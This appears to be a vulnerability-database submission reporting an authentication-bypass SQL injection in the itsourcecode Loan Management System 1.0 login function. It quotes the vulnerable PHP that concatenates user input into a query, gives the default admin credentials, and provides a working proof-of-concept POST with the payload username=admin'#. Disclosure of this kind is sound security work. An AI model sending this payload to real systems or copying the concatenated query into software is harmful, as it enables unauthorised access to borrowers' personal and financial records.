| 标题 | itsourcecode Loan Management System 1.0 SQL Injection |
|---|
| 描述 | Description:
The `login()` function concatenates both username AND password directly into SQL without sanitization. Both fields independently injectable. Passwords stored in plaintext. `login2()` shares the same pattern with MD5.
Vulnerable Code:
**File**: `admin_class.php`, Line 20
```php
function login(){
extract($_POST);
$qry = $this->db->query("SELECT * FROM users where username = '".$username."' and password = '".$password."' ");
if($qry->num_rows > 0){
foreach ($qry->fetch_array() as $key => $value) {
if($key != 'passwors' && !is_numeric($key))
$_SESSION['login_'.$key] = $value;
}
return 1;
}
}
```
Plaintext password comparison. Default admin: `admin/admin123`.
Proof of Concept:
```http
POST /ajax.php?action=login HTTP/1.1
Content-Type: application/x-www-form-urlencoded
username=admin'#&password=anything
```
Impact:
- Complete authentication bypass
- Full loan management access
- Access to all borrower PII, loan records, payment history
Reference: https://github.com/microwaveabi/vul/issues/80 |
|---|
| 来源 | ⚠️ https://github.com/microwaveabi/vul/issues/80 |
|---|
| 用户 | microwave (UID 96185) |
|---|
| 提交 | 2026-07-11 05時17分 (2 月前) |
|---|
| 管理 | 2026-08-24 07時28分 (1 month later) |
|---|
| 状态 | 重复 |
|---|
| VulDB条目 | 269164 [itsourcecode Loan Management System 1.0 Login Page login.php 用户名 SQL注入] |
|---|
| 积分 | 0 |
|---|